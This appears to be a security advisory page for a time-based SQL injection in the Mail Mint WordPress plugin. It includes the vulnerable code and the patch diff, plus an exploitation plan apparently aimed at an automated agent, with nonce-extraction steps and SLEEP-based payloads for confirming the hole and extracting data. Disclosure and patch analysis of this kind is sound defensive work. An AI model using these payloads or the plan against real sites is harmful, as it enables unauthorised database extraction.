CVE-2026-14342

Mail Mint <= 1.24.2 - Authenticated (Administrator+) SQL Injection via 'contact_ids' Parameter

mediumImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
4.9
CVSS Score
4.9
CVSS Score
medium
Severity
1.24.3
Patched in
1d
Time to patch

Description

The Mail Mint – Email Marketing, Newsletter, Email Automation & WooCommerce Emails plugin for WordPress is vulnerable to time-based SQL Injection via the 'contact_ids' parameter in all versions up to, and including, 1.24.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with administrator-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=1.24.2
PublishedJuly 8, 2026
Last updatedJuly 9, 2026
Affected pluginmail-mint

What Changed in the Fix

Changes introduced in v1.24.3

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-14342 ## 1. Vulnerability Summary The **Mail Mint** plugin (versions <= 1.24.2) is vulnerable to an **authenticated (Administrator+) time-based SQL Injection** via the `contact_ids` parameter. The vulnerability exists because the plugin fails to sanitize or p…

Show full research plan

Exploitation Research Plan - CVE-2026-14342

1. Vulnerability Summary

The Mail Mint plugin (versions <= 1.24.2) is vulnerable to an **authenticated (Administrator+) time-based SQL Injection** via the contact_ids parameter. The vulnerability exists because the plugin fails to sanitize or properly prepare SQL queries when performing bulk operations (likely deletion or status updates) on contact records. Specifically, the contact_ids parameter is directly interpolated into an IN clause or a similar SQL structure without using $wpdb->prepare() or casting the values to integers.

2. Attack Vector Analysis

  • Endpoint: WordPress REST API endpoint for contact management. Based on the namespace Mint\MRM\Admin\API\Controllers, the likely endpoint is /wp-json/mail-mint/v1/admin/contacts.
  • Action/Method: DELETE or POST (often using _method=DELETE or a bulk action parameter).
  • Vulnerable Parameter: contact_ids.
  • Authentication: Required. The attacker must have Administrator privileges (or any role with access to Mail Mint's admin interface).
  • Payload Type: Time-based blind SQL injection (e.g., SLEEP()).

3. Code Flow

  1. Entry Point: An administrator sends a request to the REST API to delete or modify multiple contacts.
  2. Controller: Mint\MRM\Admin\API\Controllers\ContactController receives the request.
  3. Trait/Method: The controller uses CrudControllerTrait. This trait likely implements a method like bulk_delete() or delete_ids().
  4. Parameter Extraction: The code retrieves contact_ids from the request.
  5. Repository/Model: The controller passes these IDs to ContactRepository or ContactModel.
  6. The Sink: Inside the repository or model, the code constructs a query similar to:
    // Inferred Vulnerable Logic
    $ids = $request['contact_ids']; // May be a comma-separated string or array
    $wpdb->query("DELETE FROM {$wpdb->prefix}mrm_contacts WHERE id IN ($ids)"); 
    
    If $ids is an array and the code performs implode(',', $ids) without integer validation, injection occurs.

4. Nonce Acquisition Strategy

Since this vulnerability requires Administrator access, the attacker must already be authenticated. In a real-world scenario, the wp_rest nonce is required to interact with the REST API.

Strategy for Automated Agent:

  1. Login: The agent should authenticate as an Administrator.
  2. Setup Page: Create a temporary page or use the Mail Mint admin dashboard.
  3. Extract Nonce:
    • Navigate to /wp-admin/admin.php?page=mail-mint.
    • Use browser_eval to extract the REST nonce from the WordPress global objects or localized scripts. Mail Mint likely localizes this in a variable like getmm_block_object (from MintFormBlock.php) or a similar admin-side variable.
    • Actionable JS: browser_eval("wpApiSettings.nonce") or browser_eval("getmm_block_object.nonce").

5. Exploitation Strategy

We will use a time-based payload to confirm the injection.

Step 1: Confirm Injection

Send a request with a SLEEP command embedded in the contact_ids parameter.

  • Tool: http_request
  • Method: DELETE (or POST if the API prefers bulk actions via POST)
  • URL: /wp-json/mail-mint/v1/admin/contacts
  • Headers:
    • X-WP-Nonce: [Extracted Nonce]
    • Content-Type: application/json
  • Payload (JSON):
    {
      "contact_ids": "1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -"
    }
    
    Note: If the API expects an array, use: {"contact_ids": ["1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -"]}

Step 2: Data Extraction (Proof of Concept)

Extract the first character of the database version.

  • Payload:
    1) AND (SELECT 1 FROM (SELECT(IF(SUBSTRING(version(),1,1)='8',SLEEP(5),0)))a)-- -
    

6. Test Data Setup

To ensure the query reaches the vulnerable sink, at least one contact should exist.

  1. Create Contact: Use WP-CLI to ensure the table has data.
    wp mail-mint contact create --email="victim@example.com" --first_name="Test"
    
    (Note: Use the specific Mail Mint CLI command if available, or manually insert via $wpdb->insert in a wp eval script).
  2. Verify Admin User: Ensure an administrator user exists for session generation.

7. Expected Results

  • Vulnerable Response: The HTTP request should hang for exactly the number of seconds specified in the SLEEP() function (e.g., 5 seconds) before returning a response.
  • Normal Response: A request with a standard ID (e.g., contact_ids=1) should return immediately (ms range).

8. Verification Steps

After the exploit, verify that no unintended side effects occurred (though this is a read-only or delete-based injection).

  1. Check the mail_mint_contacts table (exact table name from ContactSchema::$table_name) to see if the record with ID 1 still exists.
    wp db query "SELECT COUNT(*) FROM wp_mrm_contacts WHERE id = 1"
    

9. Alternative Approaches

If the REST API endpoint differs, investigate the following:

  • AJAX: Check for wp_ajax_mrm_bulk_delete_contacts.
  • Parameter format: The contact_ids might be expected as a query string parameter instead of a JSON body:
    DELETE /wp-json/mail-mint/v1/admin/contacts?contact_ids=1) AND SLEEP(5)-- -
  • Action String: If contact_ids is used in an export or tag-assignment feature, the endpoint might be /wp-json/mail-mint/v1/admin/contacts/export.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Mail Mint plugin for WordPress is vulnerable to authenticated time-based SQL Injection via the 'contact_ids' parameter in versions up to 1.24.2. This vulnerability allows administrator-level attackers to execute arbitrary SQL commands by injecting malicious payloads into bulk contact status update queries, which are improperly handled by the database preparation logic.

Vulnerable Code

// app/API/Controllers/Admin/ContactController.php around line 1049
$contact_ids = isset( $params['contact_ids'] ) ? $params['contact_ids'] : array();

---

// app/Database/models/ContactModel.php around line 1157
// Convert the IDs array into a comma-separated string.
$ids_str      = implode( ',', $contact_ids );
$update_query = $wpdb->prepare( "UPDATE {$contacts_table} SET status = %s WHERE id IN ($ids_str)", $status ); //phpcs:ignore

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/mail-mint/1.24.2/app/API/Controllers/Admin/ContactController.php /home/deploy/wp-safety.org/data/plugin-versions/mail-mint/1.24.3/app/API/Controllers/Admin/ContactController.php
--- /home/deploy/wp-safety.org/data/plugin-versions/mail-mint/1.24.2/app/API/Controllers/Admin/ContactController.php	2026-06-15 10:10:22.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/mail-mint/1.24.3/app/API/Controllers/Admin/ContactController.php	2026-07-06 04:35:56.000000000 +0000
@@ -1046,7 +1046,7 @@
         $params = filter_var_array( $params );
 
         // Extract contact IDs and status from the filtered parameters.
-        $contact_ids = isset( $params['contact_ids'] ) ? $params['contact_ids'] : array();
+        $contact_ids = isset( $params['contact_ids'] ) ? array_filter( array_map( 'absint', (array) $params['contact_ids'] ) ) : array();
         $status      = isset( $params['status'] ) ? $params['status'] : 'pending';
 
         // Check if contact IDs are empty.
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/mail-mint/1.24.2/app/Database/models/ContactModel.php /home/deploy/wp-safety.org/data/plugin-versions/mail-mint/1.24.3/app/Database/models/ContactModel.php
--- /home/deploy/wp-safety.org/data/plugin-versions/mail-mint/1.24.2/app/Database/models/ContactModel.php	2026-06-15 10:10:22.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/mail-mint/1.24.3/app/Database/models/ContactModel.php	2026-07-06 04:35:56.000000000 +0000
@@ -1154,9 +1154,15 @@
 		global $wpdb;
 		$contacts_table = $wpdb->prefix . ContactSchema::$table_name;
 
-		// Convert the IDs array into a comma-separated string.
-		$ids_str      = implode( ',', $contact_ids );
-		$update_query = $wpdb->prepare( "UPDATE {$contacts_table} SET status = %s WHERE id IN ($ids_str)", $status ); //phpcs:ignore
+		// Sanitize the IDs to integers to prevent SQL injection.
+		$contact_ids = array_filter( array_map( 'absint', (array) $contact_ids ) );
+		if ( empty( $contact_ids ) ) {
+			return false;
+		}
+
+		// Build a placeholder list and bind every value through prepare().
+		$ids_placeholder = implode( ',', array_fill( 0, count( $contact_ids ), '%d' ) );
+		$update_query    = $wpdb->prepare( "UPDATE {$contacts_table} SET status = %s WHERE id IN ($ids_placeholder)", array_merge( array( $status ), $contact_ids ) ); //phpcs:ignore
 		return $wpdb->query( $update_query ); //phpcs:ignore
 	}

Exploit Outline

The exploit is a time-based blind SQL injection targeting the plugin's REST API. An attacker with Administrator privileges first obtains a valid 'wp_rest' nonce from the admin interface. They then submit a POST request to the contact management endpoint (e.g., /wp-json/mail-mint/v1/admin/contacts) containing a 'contact_ids' parameter. By supplying a payload such as '1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -', the attacker triggers an execution delay in the database query. This delay confirms the injection, which can then be leveraged to extract sensitive information from the WordPress database letter by letter using conditional time delays.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.